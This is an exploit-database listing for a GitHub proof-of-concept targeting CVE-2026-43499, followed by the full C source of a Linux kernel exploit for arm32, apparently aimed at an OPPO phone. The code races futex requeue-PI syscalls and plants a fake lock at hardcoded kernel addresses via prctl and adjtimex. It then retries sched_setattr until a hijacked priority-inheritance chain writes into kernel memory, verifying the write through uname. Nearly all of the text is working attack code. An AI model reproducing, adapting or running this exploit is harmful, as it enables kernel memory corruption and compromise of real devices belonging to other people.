Exploit database

GH-14fb583d3d1bd2da10251bb1a37b93d6

gitchw/ghostlock-cve-2026-43499

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2026-43499

168 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files269
gitchw/ghostlock-cve-2026-43499Revision 96acd93156f6
Next files →

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

exploit/ghostlock_oppo19e.c

C · 7,348 bytes
/* go19e: retry sched_setattr until the hijacked chain fully executes
 * (observed via nodename write), then measure survival.
 * Build: -DFAKE_OVERRIDE=0xc1b11470 (nodename+0x0b, visible via uname).
 */
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <unistd.h>
#include <pthread.h>
#include <errno.h>
#include <sys/syscall.h>
#include <sys/mman.h>
#include <linux/futex.h>
#include <time.h>
#include <sys/utsname.h>

#ifndef SYS_sched_setattr
#define SYS_sched_setattr 380
#endif
#ifndef SYS_adjtimex_time32
#define SYS_adjtimex_time32 124
#endif
#define PR_SET_NAME 15
#ifndef FUTEX_WAIT_REQUEUE_PI
#define FUTEX_WAIT_REQUEUE_PI 11
#endif
#ifndef FUTEX_CMP_REQUEUE_PI
#define FUTEX_CMP_REQUEUE_PI 12
#endif
#ifndef FUTEX_LOCK_PI
#define FUTEX_LOCK_PI 6
#endif
#ifndef FUTEX_WAKE
#define FUTEX_WAKE 1
#endif

#define NODENAME   0xc1b11465
#ifndef FAKE_OVERRIDE
#define FAKE_OVERRIDE 0xc1b11470
#endif
#define FAKE_LOCK  FAKE_OVERRIDE
#define NODE_OFF   (FAKE_LOCK - NODENAME)
#define INIT_TASK  0xc1b11640

struct sched_attr {
    uint32_t size, sched_policy;
    uint64_t sched_flags;
    int32_t sched_nice; uint32_t sched_priority;
    uint64_t sched_runtime, sched_deadline, sched_period;
};
struct old_ts32 { int32_t tv_sec; int32_t tv_nsec; };
struct old_timex32 {
    int32_t modes, offset, freq, maxerror, esterror, status,
            constant, precision, tolerance;
    struct { int32_t tv_sec; int32_t tv_usec; } time;
    int32_t tick, ppsfreq, jitter, shift, jitcnt, calcnt,
            errcnt, stbcnt, tai;
    int32_t pad[12];
};

static uint32_t f_wait, f_pi_target, f_pi_chain;
static volatile int a_ready, a_tid, a_waiting, b_started, consume,
    stamp_ready, deadlock_seen, chain_wrote, chain_attempts;
static unsigned char stamp_phase1[16];

static long pi_lock(uint32_t *u){return syscall(SYS_futex,u,FUTEX_LOCK_PI,0,0,0,0);}
static long wrp(uint32_t *u,uint32_t *u2,struct old_ts32*ts){
    return syscall(SYS_futex,u,FUTEX_WAIT_REQUEUE_PI,0,ts,u2,0);}

static void *waiter_thread(void *arg){
    (void)arg;
    struct timespec now; struct old_ts32 ts;
    a_tid=(int)syscall(SYS_gettid);
    printf("[+] waiter TID=%d\n",a_tid);
    pi_lock(&f_pi_chain); a_ready=1; usleep(20000);
    clock_gettime(CLOCK_MONOTONIC,&now);
    int64_t ns=now.tv_nsec+500000000;
    ts.tv_sec=(int32_t)(now.tv_sec+ns/1000000000);
    ts.tv_nsec=(int32_t)(ns%1000000000);
    a_waiting=1;
    long r=wrp(&f_wait,&f_pi_target,&ts);
    printf("[%d] WAIT_REQUEUE_PI=%ld errno=%d\n",a_tid,r,errno); fsync(1);
    while(!deadlock_seen);
    consume=1;

    struct old_timex32 tx; memset(&tx,0,sizeof(tx));
    tx.offset=1; tx.status=0x01010101;
    long ax = syscall(SYS_adjtimex_time32,&tx);
    printf("[%d] adjtimex=%ld\n",a_tid,ax); fsync(1);
    long pr=syscall(SYS_prctl,PR_SET_NAME,stamp_phase1,0,0,0);
    printf("[%d] prctl=%ld\n",a_tid,pr); fsync(1);
    stamp_ready=1;
    for(;;) pause();
    return NULL;
}
static void *owner_thread(void *arg){
    (void)arg;
    pi_lock(&f_pi_target);
    while(!a_ready) usleep(1000);
    b_started=1;
    long r=pi_lock(&f_pi_chain);
    printf("[%d] owner 2nd LOCK_PI=%ld errno=%d\n",(int)syscall(SYS_gettid),r,errno);
    for(;;) pause();
    return NULL;
}
static void *consumer_thread(void *arg){
    (void)arg;
    struct sched_attr attr; memset(&attr,0,sizeof(attr));
    attr.size=sizeof(attr); attr.sched_policy=3; attr.sched_nice=19;
    while(!a_tid) usleep(1000);
    while(!consume||!stamp_ready) usleep(200);
    for(int i=0;i<20000 && !chain_wrote;i++){
        errno=0;
        long r=syscall(SYS_sched_setattr,a_tid,&attr,0);
        chain_attempts=i+1;
        if(i<5||(i%500)==0) printf("[c] attempt %d r=%ld e=%d wrote=%d\n",i,r,errno,chain_wrote);
        fsync(1);
        usleep(1500);
    }
    printf("[*] consumer stopping after %d attempts wrote=%d\n",chain_attempts,chain_wrote);
    fsync(1);
    for(;;) pause();
    return NULL;
}
static void *sampler_thread(void *arg){
    (void)arg;
    unsigned char prev[0x40]; memset(prev,0,sizeof(prev));
    long it=0; int events=0;
    while(!stamp_ready) usleep(200);
    while(it<5000000){
        struct utsname u; uname(&u);
        unsigned char *q=(unsigned char*)u.nodename;
        int nz=0;
        for(int i=NODE_OFF;i<NODE_OFF+12;i++) if(q[i]){nz=1;break;}
        if(nz && !chain_wrote){
            chain_wrote=1;
            printf("[S] FIRST WRITE at iter %ld: ",it);
            for(int i=8;i<0x34;i++) printf("%02x",q[i]);
            printf("\n"); fsync(1);
        }
        if(nz){
            int diff=memcmp(q+NODE_OFF,prev+NODE_OFF,12)!=0;
            if(diff && events<30){
                memcpy(prev,q,0x40); events++;
                printf("[S%06ld] ",it);
                for(int i=NODE_OFF;i<NODE_OFF+12;i++) printf("%02x",q[i]);
                printf("\n"); fsync(1);
            }
        }
        it++;
        if(chain_wrote && (it%200000)==0){
            printf("[S] alive it=%ld\n",it); fsync(1);
        }
    }
    return NULL;
}

int main(void){
    pthread_t th; pthread_attr_t attr;
    setvbuf(stdout,NULL,_IONBF,0);
    printf("=== go19e retry-chain, fake lock %08x ===\n",FAKE_LOCK);
    if(sizeof(long)!=4){printf("arm32 only\n");return 1;}

    {
        struct utsname u; uname(&u);
        unsigned char *p=(unsigned char*)u.nodename;
        printf("[*] nodename: '%.64s'\n",u.nodename);
        printf("[*] X: ");
        for(int i=NODE_OFF;i<NODE_OFF+16;i++) printf("%02x ",p[i]);
        printf("\n");
    }
    uint32_t taskw=INIT_TASK, lock=FAKE_LOCK, prio=0x01010101u, pad=0x01010101u;
    memcpy(stamp_phase1+0,&taskw,4);
    memcpy(stamp_phase1+4,&lock,4);
    memcpy(stamp_phase1+8,&prio,4);
    memcpy(stamp_phase1+12,&pad,3);
    stamp_phase1[15]=0;
    for(int i=0;i<15;i++) if(!stamp_phase1[i]){printf("NUL at %d\n",i);return 1;}
    printf("[*] phase1: "); for(int i=0;i<16;i++)printf("%02x",stamp_phase1[i]); printf("\n");

    f_wait=f_pi_target=f_pi_chain=0;
    mlockall(MCL_CURRENT|MCL_FUTURE);
    pthread_attr_init(&attr);
    pthread_attr_setstacksize(&attr,1024*1024);
    pthread_create(&th,&attr,owner_thread,NULL); usleep(10000);
    pthread_create(&th,&attr,consumer_thread,NULL);
    pthread_create(&th,&attr,sampler_thread,NULL);
    pthread_create(&th,&attr,waiter_thread,NULL);
    while(!a_waiting||!b_started) usleep(1000);

    int got=0;
    for(int i=0;i<220;i++){
        errno=0;
        long r=syscall(SYS_futex,&f_wait,FUTEX_CMP_REQUEUE_PI,1,1,&f_pi_target,0);
        int e=errno;
        if(i<6||(r<0&&e==35)) printf("[main] CMP %d=%ld errno=%d\n",i,r,e);
        if(r<0&&e==35){got=1;break;}
        if(r>0) break;
        usleep(5000);
    }
    syscall(SYS_futex,(int*)&f_wait,FUTEX_WAKE,1,0,0,0);
    deadlock_seen=1;
    printf("[*] EDEADLK=%d\n",got);
    for(int i=0;i<1200 && !chain_wrote;i++) usleep(100000);
    printf("[*] result: attempts=%d wrote=%d\n",chain_attempts,chain_wrote);
    for(int k=0;k<10;k++){
        struct utsname u; uname(&u); unsigned char *p=(unsigned char*)u.nodename;
        printf("[post%02d] ",k);
        for(int i=NODE_OFF;i<NODE_OFF+12;i++) printf("%02x",p[i]);
        printf("\n"); fsync(1);
        usleep(200000);
    }
    printf("[*] go19e SURVIVED full window, parking\n"); fsync(1);
    for(;;) pause();
    return 0;
}